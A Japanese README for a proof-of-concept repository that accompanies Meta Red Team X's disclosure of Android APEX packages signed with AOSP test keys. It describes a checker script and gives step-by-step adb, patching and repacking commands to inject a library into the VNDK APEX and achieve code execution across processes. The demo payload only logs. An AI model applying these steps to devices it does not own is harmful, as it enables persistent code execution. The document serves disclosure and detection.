
Android APEX キー再利用の脆弱性の概念実証コード
このリポジトリは、Meta Red Team X の脆弱性開示に付随するものです(AS IS で提供されます)。これは Meta の公式プロジェクトではなく、公式プロジェクトのようにサポートされることはありません。
AOSP のテストキーで署名された APEX を搭載する Android デバイスの検出と悪用を実証するスクリプトとアーティファクトのセットです。問題の詳細については、ブログ記事「Missing signs: how several brands forgot to secure a key piece of Android」を参照してください。
apex-checker/: 既知のテストキーのダイジェストを保存し、それらのキーによる署名がないか APEX を一括チェックする Bash スクリプト群。apex-forger/: AOSP の apexer および deapexer ツールの軽量ラッパー。APEX のアンパック、変更、再パックを簡単に行えます。APEX 向けの apktool のようなものです。vndk-libt/: 脆弱な APEX に追加してコード実行が可能であることを実証するためのライブラリのソースコード。このライブラリは、それをロードする各プロセスのコマンドラインを logcat に出力するだけです。m apexer deapexer apksigner を実行し、必要なツールをビルドします。envsetup.sh(ここにあるもので、AOSP 内のものではありません)を更新して、$AOSP と $ANDROID_HOST_OUT を適切な場所に指定します。adb shell getprop ro.build.version.sdk と adb shell getprop ro.vndk.version を実行します。adb pull /system/apex/com.android.vndk.current.apex vndk.apex を実行します。一致しない場合は、adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex を実行します。ここで <NN> は ro.vndk.version の値です。apex-checker/check.sh vndk.apex で APEX が脆弱かどうかを確認します。出力が "OI" で始まらない場合(外側と内側の両方の署名がテストキー由来であることを示します)、この PoC は使用できません(ただし、他の APEX がまだ脆弱である可能性があるため、デバイスが安全であることは保証されません)。apex-forger/unpack.sh vndk.apex vndk で APEX をアンパックします。libutils.so にパッチを適用して、注入した libt.so をロードしてみます: git apply --directory=vndk vndk-libt/libutils-v31.patch。それがうまくいかない場合(異なる VNDK バージョンなど)は、16 進エディタを使って vndk/payload/lib64/libutils.so の該当する DT_NEEDED 内の libc.so を手動で libt.so に変更します。vndk-libt/ 内で ndk-build を実行して libt.so をビルドします。vndk-libt/libs/arm64-v8a/libt.so を vndk/payload/lib64/libt.so にコピーします。apex_build_info.bp から canned_fs_config を抽出します。これを簡単に行うツールはありません。最も近い方法は protoc --decode_raw <vndk/apex_build_info.bp を実行し、フィールド #3 を手動でアンエスケープすることです。canned_fs_config を vndk/ に配置します。/lib64/libt.so 用の行を canned_fs_config に追加します。apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem} で APEX を再パックします。adb install vndk/forged.apex を実行します。adb reboot && adb logcat -s RTXPoC:D を実行します。RTXPoC ログメッセージを確認します。それぞれはコードを実行できるプロセスからのものです。apex-checker/apk-keys.txt と apex-checker/avb-keys.txt のハッシュは、次の APEX の外側と内側のテストキーに対応しています。これらの 2 つのリストには -goog バリアントもあることに注意してください。これは私たちの最初の報告後に Google によって作成されました。これらのリストは一般的に内容がより完全ですが、正確にどのキーが含まれているかは不明です。